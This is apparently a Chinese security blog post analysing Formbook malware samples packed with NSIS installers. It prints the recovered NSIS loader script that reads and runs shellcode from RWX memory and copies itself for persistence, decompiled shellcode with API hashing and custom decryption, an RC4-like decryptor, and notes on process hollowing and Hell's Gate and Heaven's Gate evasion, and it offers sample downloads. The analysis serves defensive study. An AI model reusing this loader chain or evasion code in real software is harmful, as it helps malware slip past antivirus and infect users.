分析NSIS打包的恶意软件思路和实例

发布于:2022-12-06 ⋅ 阅读:(964) ⋅ 点赞:(0)

一、背景

NSIS(Nullsoft Scriptable Install System)是一个专门用于创建软件安装程序的框架。它允许将应用程序的各种文件捆绑在一起(即可执行文件、使用的 DLL、配置),以及控制> 它们下载地址,执行顺序是什么等。它是一个免费且强大的工具,给程序员带来便利的同时,也是在帮助恶意开发人员~

通过流行软件作为恶意软件第一层加密再进行传输,可以很好的解决恶意查杀等反病毒行为,最近几年NSIS的打包器也在不断进化,所以是时候做一个NSIS的基本复盘了。

二、样本

选取 Formbook 恶意软件样本进行分析,这两个都是通过NSIS打包:

  1. 8f80426cec76e7c9573a9c58072399af
  • 包含:05dc8c8d912a58a5dde38859e741b2c0
  1. 98061ccf694005a78fcf0fbc8810d137
  • 包含:f34bd301f4f4d53e2d069b4842bca672

如果你想跟着分析,或者作为其他用途的话,可以通过公众号回复: NSIS加密器 获取样本下载链接。密码: malware

三、分析

在老版本中NSIS打包的程序可以借助 7zip 15.05 提取打包的NSIS.nsi脚本文件,但是最新的版本以及不支持了。

在Formbook 样本中用7zip打开, NSIS的标准文件结构,如图: 

 

System.dll 是任何 NSIS 打包安装程序的必装 DLL,负责执行脚本中的命令。它是要加载的压缩包内第一个组件。我们可以在每个样本中找到它。 

 

主目下1kb文件是一个shellcode,标准开头: 0x55,0x8B,0xEC,0x81,0xEC

 

 

目录下另外两个文件都是加密的,想知道它们的内容就必须要知道NSIS的加载链:实例


 

 

  1. Function .onInit
  2. InitPluginsDir
  3. ; Call Initialize_____Plugins
  4. ; SetDetailsPrint lastused
  5. SetOutPath $INSTDIR
  6. File 5e9ikl8w3iif7ipp6
  7. File 3ugs67ip868x5n
  8. File tjdorfrldbgdlq
  9. System::Alloc 1024
  10. ; Call Initialize_____Plugins
  11. ; SetOverwrite off
  12. ; File $PLUGINSDIR\System.dll
  13. ; SetDetailsPrint lastused
  14. ; Push 1024
  15. ; CallInstDLL $PLUGINSDIR\System.dll Alloc
  16. Pop $0
  17. System::Call "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
  18. ; Call Initialize_____Plugins
  19. ; File $PLUGINSDIR\System.dll
  20. ; SetDetailsPrint lastused
  21. ; Push "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
  22. ; CallInstDLL $PLUGINSDIR\System.dll Call
  23. System::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
  24. ; Call Initialize_____Plugins
  25. ; AllowSkipFiles off
  26. ; File $PLUGINSDIR\System.dll
  27. ; SetDetailsPrint lastused
  28. ; Push "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
  29. ; CallInstDLL $PLUGINSDIR\System.dll Call
  30. System::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
  31. ; Call Initialize_____Plugins
  32. ; File $PLUGINSDIR\System.dll
  33. ; SetDetailsPrint lastused
  34. ; Push "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
  35. ; CallInstDLL $PLUGINSDIR\System.dll Call
  36. System::Call ::$0()
  37. ; Call Initialize_____Plugins
  38. ; File $PLUGINSDIR\System.dll
  39. ; SetDetailsPrint lastused
  40. ; Push ::$0()
  41. ; CallInstDLL $PLUGINSDIR\System.dll Call
  42. Call func_80
  43. CreateDirectory "$APPDATA\High Fidelity\JimJamz"
  44. CopyFiles $EXEPATH "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "$(LSTR_7)$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" ; "Copy to "
  45. CreateShortCut "$DESKTOP\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
  46. CreateDirectory "$SMPROGRAMS\High Fidelity JimJamz Event"
  47. CreateShortCut "$SMPROGRAMS\High Fidelity JimJamz Event\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" "" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
  48. Call func_83
  49. Return

可以清楚看到脚本内的内存调用和也是通过virtualAlloc进行的,所以直接开始分析shellcode吧

shellcode-1 初始加载

shellcode载入到ida中可以看到标准框架,并没有其他处理:


 
  1. v11[0] = '\\';
  2. v11[1] = '5';
  3. v11[2] = 'e';
  4. v11[3] = '9';
  5. v11[5] = 'k';
  6. v11[6] = 'l';
  7. v12 = 0;
  8. v11[7] = '8';
  9. v11[8] = 'w';
  10. v11[9] = '3';
  11. v11[12] = 'f';
  12. v11[13] = '7';
  13. v11[15] = 'p';
  14. v11[16] = 'p';
  15. v11[17] = '6';
  16. v11[4] = 'i';
  17. v11[10] = 'i';
  18. v11[11] = 'i';
  19. v11[14] = 'i';
  20. v11[18] = 0;
  21. kernelDll = *(***(*(__readfsdword(0x30u) + 12) + 12) + 24);
  22. j_CreatFile = findHash(kernelDll, 0x9C9F1603);
  23. j_lstrcatW = findHash(kernelDll, 0x6E39C84C);
  24. j_ReadFile = findHash(kernelDll, 0xC7BB5F4);
  25. j_VirtualAlloc = findHash(kernelDll, 0xA3E5DEA);
  26. j_GetTempPath = findHash(kernelDll, 0x710BC852);
  27. j_GetTempPath(259, v8);
  28. j_lstrcatW(v8, v11);
  29. v4 = j_CreatFile(v8, 0x80000000, 7, 0, 3, 128, 0);
  30. v5 = j_VirtualAlloc(0, 6661, 12288, 64);
  31. v6 = 0;
  32. j_ReadFile(v4, v5, 6661, &v12, 0);
  33. if ( v12 )
  34. {
  35. do
  36. {
  37. *(v5 + v6) = __ROR1__(
  38. __ROL1__(
  39. v6 + ((-38 - (((v6 ^ (v6 + (v6 ^ ((v6 ^ ~((v6 ^ *(v5 + v6)) - 49)) - 6)))) - 93) ^ 0xA0)) ^ 0x2F),
  40. 2)
  41. - 69,
  42. 3);
  43. ++v6;
  44. }
  45. while ( v6 < v12 );
  46. }
  47. return v5();
  48. }

整个程序并不难理解,总结为:

  • 下一个执行文件的名字被加载为一个基于栈的宽字符串
  • kernel32.dll的base取自PEB
  • 从 kernel32.dll 每个函数的名称校验和取出所需函数。CreateFileW、GetTempPathW、lstrcatW、ReadFile、VirtualAlloc、GetTempPathW。
  • 函数GetTempPathW用于获取%TEMP%目录的路径,所有组件都在运行时自动提取NSIS 文件
  • 下一个文件的名字连接到%TEMP%路径
  • 为文件内容分配内存,将文件读入这个缓冲区
  • 自定义解密算法正在缓冲区上应用(算法不同对于不同的样本)。缓冲区存放下一阶段 shellcode
  • 最后执行下一个shellcode

 

哈希算法摘要:


 
  1. int __fastcall sub_1E3(_BYTE *a1)
  2. {
  3. int result; // eax
  4. int v2; // edx
  5. for ( result = 3800; ; result = v2 + 33 * result )
  6. {
  7. v2 = *a1;
  8. if ( !*a1 )
  9. break;
  10. ++a1;
  11. }
  12. return result;
  13. }

通过解包之后的下阶段shellcode如图: 

 

shellcode-2

这个阶段的shllcode负责执行load pe功能,并且结构和上一个阶段类似,堆栈存储文件名,并准备好密钥解密后续文件:

 

一样的hash操作:

 

 

解密后阶段文件: 

 

解密算法类似Rc4:


 
  1. void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size)
  2. {
  3. BYTE key_stream[512];
  4. int j;
  5. char next;
  6. int i;
  7. int v6 = 0;
  8. int v4 = 0;
  9. for ( i = 0; i < 256; ++i )
  10. {
  11. key_stream[i + 256] = i;
  12. key_stream[i] = key[i % size];
  13. }
  14. for ( i = 0; i < 256; ++i )
  15. {
  16. v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256;
  17. next = key_stream[v6 + 256];
  18. key_stream[v6 + 256] = key_stream[i + 256];
  19. key_stream[i + 256] = next;
  20. }
  21. v6 = 0;
  22. for ( j = 0; j < DATA_SIZE; ++j )
  23. {
  24. i = (i + 1) % 256;
  25. v6 = (v6 + key_stream[i + 256]) % 256;
  26. next = key_stream[v6 + 256];
  27. 14/23
  28. key_stream[v6 + 256] = key_stream[i + 256];
  29. key_stream[i + 256] = next;
  30. v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256;
  31. data[j] ^= key[j % size];
  32. data[j] ^= key_stream[v4 + 256];
  33. }
  34. }

loadPE

最后通过经典的ProcessHollowing启动PE文件:

 

为了干扰分析,开发者使用了被称之为 hell gate技术,也就是从 NTDLL 或其他内存模块动态提取和调用系统函数。可以追溯到 here,如果想深入了解可以参考 malwarebyte一篇16年的实例。

首先,从磁盘上的文件加载一个新的 NTDLL 副本,手动映射。然后,检索由其哈希定义的函数(使用与用于 从正常加载的 DLL 中检索导入) 

 

这里会用到一个叫天堂之门的技术,就是让32位程序调用64位的函数,先把要进行系统调用的id先保存到eax中:

 

然后判断是否64位: 

 

如果32位直接系统调用: 

 

如果64位,则使用天堂门技术: 

 

64位的api调用结果可以给32位使用。

具体的细节先不展开。

四、总结

相比较之前的NSIS打包器,7zip无法拿到.nsi脚本,那么很多流程都要靠猜测分析,但是处理的思路都是从主目录下一层一层拨,它的本质还是一个打包工具,当然,本人有幸看到毛子用nsis写了一个类似vmp的东西~~~~,可惜没保存,那个绝对是个狠人。

本文含有隐藏内容,请 开通VIP 后查看

网站公告


今日签到

点亮在社区的每一天
去签到